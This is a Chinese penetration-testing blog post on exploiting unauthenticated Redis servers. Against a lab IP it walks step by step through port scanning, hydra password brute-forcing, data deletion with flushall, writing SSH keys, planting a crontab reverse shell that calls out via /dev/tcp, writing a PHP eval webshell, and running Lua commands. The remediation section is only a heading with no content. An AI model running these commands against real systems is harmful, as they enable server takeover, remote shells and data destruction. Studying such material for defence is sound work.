PenTest Vol.2 - Web | 未授权访问漏洞 [持续更新]

  • Naykcin
  • 13 Minutes
  • November 20, 2019

PenTest Vol.2 - Web | 未授权访问漏洞 [持续更新]

// 在这里记录一下常见的未授权访问漏洞,并总结一下姿势
* redis 未授权访问漏洞

Redis 未授权访问漏洞

参考

https://xz.aliyun.com/t/6103
https://www.freebuf.com/column/158065.html

什么是 Redis

Redis 是一个开源的、使用 ANSI C 语言编写、支持网络、可基于内存也可持久化的日志型、Key-Value 数据库。

基本命令

// redis 命令在 /usr/bin 下
// 此测试环境中运行 redis
$ ./redis-server redis.conf

// 连接远程 redis 数据库
$ redis-cli -h 1.1.1.1 -p 6379 -a 密码

// 连接本地
$ redis-cli

// 设置密码
config set requirepass 123456

// 获取密码
config get requirepass

// 登录
auth 123456

// 显示所有键值
keys *

// 获取某一键值
get key

漏洞原理

redis 因配置不当会导致未授权访问漏洞,被攻击者恶意利用。当前流行的针对 redis 未授权访问的新型攻击方式是:在特定条件下,如果 redis 以 root 身份运行,攻击者可以给 root 账户写入 ssh 公钥文件,直接通过 ssh 登录受害服务器,可导致受害服务器权限被获取、数据删除、泄露、加密,严重危害正常服务。

redis 默认配置在 0.0.0.0:6379,并且没有开启认证,以及该端口可以通过公网直接访问,如果没有采用相关配置,比如添加防火墙规则避免其他非信任来源 IP 访问,那么将会导致 redis 服务直接暴露在公网上。

攻击方法

0x1 获取端口开放信息

redis 默认使用 6379 端口,利用 nmap 进行扫描:

$ nmap 172.16.232.208 -A -T4 -v -p6379

屏幕快照 2019-12-05 下午2.00.01

利用 nmap 脚本检测:

nmap -p 6379 --script redis-info 172.16.232.208

屏幕快照 2019-12-05 下午4.58.52

0x2 hydra 爆破 redis 弱口令

redis 默认没有设置口令,可直接连接:

$ redis-cli -h 172.16.232.208

如果设置了密码,可以尝试用 hydra 爆破一下看是否是弱口令:

$ hydra -P 字典 redis://172.16.232.208

屏幕快照 2019-12-05 下午2.03.40

0x3 redis 未授权访问获取敏感信息

连接进入 redis 服务器后,可以获取敏感信息:

$ redis-cli -h 172.16.232.208
172.16.232.208:6379>auth 123456
172.16.232.208:6379>info

屏幕快照 2019-12-05 下午2.08.37

可以获取 redis 版本、服务器内核版本信息、redis 2.8 之后还可看到 redis 配置文件的绝对路径。

0x4 删除数据
// 删除所有数据
172.16.232.208:6379>flushall

// 删除键为 key 的数据
172.16.232.208:6379>del key
0x5 写入 ssh 公钥,获取操作系统权限

原理就是在数据库中插入一条数据,将本机的公钥作为 value,key 值随意(这里取 xxx),然后通过修改数据库的默认路径为 /root/.ssh 和默认的缓冲文件 authorized.keys,把缓冲的数据包存在文件里,这样就可以在服务器端的 /root/.ssh 下生成一个授权的 key。

0x6 在 crontab 中写入定时任务,并反弹 shell

原理其实和写入公钥文件是一样的,只是变更一下写入的内容和路径,以及数据库名。

首先监听一个端口:

nc -l 9091

连接 redis,写入反弹 shell:

$ redis-cli -h 172.16.232.208 -a 123456

// 变更目录
172.16.232.208:6379>config set dir /var/spool/cron

// 写入反弹 shell
172.16.232.208:6379>set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.232.209/9092 0>&1\n\n"

// 设置备份文件名称,注意必须是 root
172.16.232.208:6379>config set dbfilename root

// 保存
172.16.232.208:6379>save

屏幕快照 2019-12-05 下午4.36.14

1 分钟后,反弹 shell 成功:

屏幕快照 2019-12-05 下午4.36.35

0x7 在 web 目录下写入 webshell

利用 redis 在指定的 web 目录下写入一句话木马,然后利用菜刀连接来控制服务器。

连接 redis 写入 webshell:

// 设置一下目录,必须具有写权限
172.16.232.208:6379>config set dir /phpstudy/uploads

// 键值随意
172.16.232.208:6379>set shell "\n\n\n<?php eval($_POST[sb]);?>\n\n\n"

172.16.232.208:6379>config set dbfilename muma.php

// 记得保存
172.16.232.208:6379>save

屏幕快照 2019-12-05 下午4.44.55

蚁剑连接,成功:

屏幕快照 2019-12-05 下午4.45.12

0x8 写入挖矿进程

参考:https://www.freebuf.com/column/158065.html

0x9 利用 redis 执行命令

在 redis 2.6 以前的版本内置了 lua 脚本环境,在有连接 redis 服务器的权限下,可以利用 lua 执行系统命令。

本地建立一个 lua 脚本:

$ vim hello.lua

local msg = "hello,hack!"
return msg

连接 redis 服务器并执行 lua 脚本:

redis-cli eval "$(cat hello.lua)" 0 -h 172.16.232.208 -a 123456

修复方案